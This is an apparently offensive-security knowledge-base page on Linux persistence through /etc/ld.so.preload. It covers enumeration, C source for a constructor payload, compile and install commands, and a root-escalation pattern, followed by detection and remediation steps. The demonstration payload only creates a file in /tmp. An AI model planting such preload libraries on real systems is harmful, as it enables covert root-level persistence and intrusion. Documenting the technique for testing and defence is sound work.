Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 03. Linux / 03. Persistence / LD SO Preload

LD.SO Preload

The dynamic linker can be instructed to load a shared object before other libraries by using /etc/ld.so.preload.

If an attacker can modify /etc/ld.so.preload, or overwrite a library referenced inside it, they can force their shared object to load into dynamically linked programs.

This can provide persistence because the library is loaded automatically whenever affected programs execute.

This technique is dangerous. A broken preload library can make many commands stop working.

Common failure causes include:

  • Missing dependencies
  • Crashes inside constructors
  • Wrong architecture
  • Invalid library path
  • Recursive execution loops
  • Syntax or permission errors

When enumerating LD.SO preload persistence opportunities, try to identify:

  • Writable /etc/ld.so.preload
  • Existing preload entries
  • Writable directories referenced by /etc/ld.so.preload
  • Writable shared objects referenced by /etc/ld.so.preload
  • Dynamically linked binaries
  • Unusual shared objects loaded into common processes

Enumeration

Check whether /etc/ld.so.preload exists:

ls -lah /etc/ld.so.preload

Inspect preload entries:

cat /etc/ld.so.preload

Check file permissions:

stat /etc/ld.so.preload

Check whether a binary is dynamically linked:

ldd /bin/ls

Static binaries will not be affected:

ldd /path/to/binary

Find writable preload paths:

cat /etc/ld.so.preload 2>/dev/null | while read lib; do ls -lah "$lib"; done

Interesting findings include:

  • /etc/ld.so.preload exists
  • /etc/ld.so.preload is writable
  • A referenced library is writable
  • A referenced library is stored in a writable directory
  • Unknown or suspicious shared objects are preloaded
  • Common commands load unexpected libraries

Once write access to /etc/ld.so.preload or a referenced library has been identified, a shared object can be added or replaced for persistence.


Persistence

/etc/ld.so.preload

The /etc/ld.so.preload file contains paths to shared objects that should be loaded before normal libraries.

Unlike the LD_PRELOAD environment variable, /etc/ld.so.preload is system-wide.

  1. Create a shared object
  2. Use a constructor to execute code when the library loads
  3. Compile the shared object
  4. Place it in a stable path
  5. Add the path to /etc/ld.so.preload
  6. Trigger execution with a dynamically linked binary

Create the preload source:

cat > payload.c << 'EOF'
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init(void) {
    if (getenv("OOTW_PRELOAD_GUARD")) {
        return;
    }

    setenv("OOTW_PRELOAD_GUARD", "1", 1);

    system("/bin/touch /tmp/ldpreload.loaded");
}
EOF

Compile the shared object:

gcc -fPIC -shared -o payload.so payload.c

Move it to a stable location:

cp payload.so /usr/local/lib/payload.so
chmod 644 /usr/local/lib/payload.so

Add it to /etc/ld.so.preload:

echo "/usr/local/lib/payload.so" >> /etc/ld.so.preload

Trigger execution:

/bin/ls

Verify execution:

ls -lah /tmp/ldpreload.loaded

Symbol Interposition

LD preload is commonly used to override functions loaded from shared libraries.

If a program calls a function such as:

open()

and the preloaded library also defines open(), the preloaded version may be resolved first.

The flow becomes:

Application
↓
open()
↓
Preloaded library open()
↓
libc open()

Constructor-based payloads are different.

A constructor runs automatically when the shared object is loaded:

__attribute__((constructor))
void init(void) {
    /* code runs when library loads */
}

This means the code can execute when dynamically linked programs such as ls, cat, ssh, sudo or passwd start.


Important Notes

The environment variable version is different:

export LD_PRELOAD=/path/to/payload.so

This does not usually allow privilege escalation through sudo, passwd or other setuid-root binaries.

Modern Linux systems enter secure execution mode for privileged programs and sanitize dangerous environment variables, including LD_PRELOAD.

The system-wide file is the more dangerous persistence mechanism:

/etc/ld.so.preload

A common escalation or persistence pattern is:

Misconfigured permissions
↓
User can edit /etc/ld.so.preload
↓
User points it to a malicious shared object
↓
Root executes a dynamically linked program
↓
Library loads into the root process
↓
Code executes as root

Another common variant is:

User can overwrite a shared object referenced in /etc/ld.so.preload
↓
Root process loads that shared object
↓
Code executes in the root process

Detection

Inspect /etc/ld.so.preload:

cat /etc/ld.so.preload

Check permissions:

ls -lah /etc/ld.so.preload

Inspect referenced libraries:

cat /etc/ld.so.preload 2>/dev/null | while read lib; do
    ls -lah "$lib"
    file "$lib"
done

Search for suspicious constructors:

strings /path/to/library.so

Search for suspicious library paths:

grep -R "/tmp\|/dev/shm\|/home" /etc/ld.so.preload 2>/dev/null

Interesting findings include:

  • /etc/ld.so.preload exists unexpectedly
  • Preloaded libraries stored in writable directories
  • Recently modified preload libraries
  • Libraries containing suspicious strings
  • Libraries referencing shell commands, network tools or unusual paths
  • Errors printed by the dynamic linker when running common commands

Remediation

To remove LD.SO preload persistence, remove the malicious entry from:

/etc/ld.so.preload

Example:

sed -i '\#/usr/local/lib/payload.so#d' /etc/ld.so.preload

Remove the malicious library:

rm -f /usr/local/lib/payload.so

If /etc/ld.so.preload is empty, remove it:

rm -f /etc/ld.so.preload

To prevent LD.SO preload persistence:

  • Ensure /etc/ld.so.preload is root-owned
  • Ensure /etc/ld.so.preload is not writable by non-root users
  • Restrict write access to directories containing referenced libraries
  • Monitor /etc/ld.so.preload for creation or modification
  • Monitor suspicious shared objects in /tmp, /dev/shm and user home directories
  • Review unexpected dynamic linker errors
  • Avoid granting unnecessary root access

LD.SO preload persistence works because the dynamic linker loads attacker-controlled code before normal libraries in dynamically linked processes.